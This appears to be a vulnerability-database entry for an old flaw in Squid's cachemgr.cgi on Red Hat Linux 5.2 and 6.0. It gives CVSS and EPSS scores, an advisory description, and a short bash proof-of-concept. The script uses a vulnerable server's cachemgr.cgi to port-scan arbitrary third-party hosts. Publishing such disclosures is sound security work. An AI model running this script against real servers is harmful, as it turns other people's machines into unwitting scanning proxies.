CPE, which stands for Common Platform Enumeration, is a standardized scheme for naming hardware, software, and operating systems. CPE provides a structured naming scheme to uniquely identify and classify information technology systems, platforms, and packages based on certain attributes such as vendor, product name, version, update, edition, and language.
CWE, or Common Weakness Enumeration, is a comprehensive list and categorization of software weaknesses and vulnerabilities. It serves as a common language for describing software security weaknesses in architecture, design, code, or implementation that can lead to vulnerabilities.
CAPEC, which stands for Common Attack Pattern Enumeration and Classification, is a comprehensive, publicly available resource that documents common patterns of attack employed by adversaries in cyber attacks. This knowledge base aims to understand and articulate common vulnerabilities and the methods attackers use to exploit them.
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Search : CVE id, CWE id, CAPEC id, vendor or keywords in CVE
The Squid package in Red Hat Linux 5.2 and 6.0, and other distributions, installs cachemgr.cgi in a public web directory, which allows remote attackers to use it as an intermediary to connect to other systems.
CVE Informations
Metrics
Metrics
Score
Severity
CVSS Vector
Source
V2
7.5
AV:N/AC:L/Au:N/C:P/I:P/A:P
nvd@nist.gov
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
Date
EPSS V0
EPSS V1
EPSS V2 (> 2022-02-04)
EPSS V3 (> 2025-03-07)
EPSS V4 (> 2025-03-17)
2022-02-06
–
–
11%
–
–
2022-04-03
–
–
11%
–
–
2022-05-22
–
–
11%
–
–
2023-03-12
–
–
–
6.5%
–
2024-02-25
–
–
–
6.5%
–
2024-06-02
–
–
–
6.5%
–
2025-01-19
–
–
–
6.5%
–
2025-03-18
–
–
–
–
12.63%
2025-04-15
–
–
–
–
12.63%
2025-04-15
–
–
–
–
12.63,%
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
source: https://www.securityfocus.com/bid/2059/info
The 'cachemgr.cgi' module is a management interface for the Squid proxy service. It was installed by default in '/cgi-bin' by Red Hat Linux 5.2 and 6.0 installed with Squid. This script prompts for a host and port, which it then tries to connect to. If a webserver such as Apache is running, this can be used to connect to arbitrary hosts and ports, allowing for potential use as an intermediary in denial-of-service attacks, proxied port scans, etc. Interpreting the output of the script can allow the attacker to determine whether or not a connection was established.
#!/bin/bash -x
# Port scanning using a misconfigured squid
# using open apache
# Usage miscachemgr host_vuln host_to_scan end_port
# Concept: Jacobo Van Leeuwen & Francisco S�a Mu�oz
# Coded by Francisco S�a Mu�oz
# IP6 [Logic Control]
PORT=1
ONE='/cgi-bin/cachemgr.cgi?host='
TWO='&port='
THREE='&user_name=&operation&auth='
mkdir from_$1_to_$2
while [ $PORT -lt $3 ]; do
# lynx -dump http://$1/cgi-bin/cachemgr.cgi?host=\
# $2&port=$PORT&user_name=&operation=authenticate&auth= > \
# port_$1_to_$2/$PORT.log 2>&1
lynx -dump http://$1$ONE$2$TWO$PORT$THREE > from_$1_to_$2/$PORT.log 2>&1
let PORT=PORT+1
done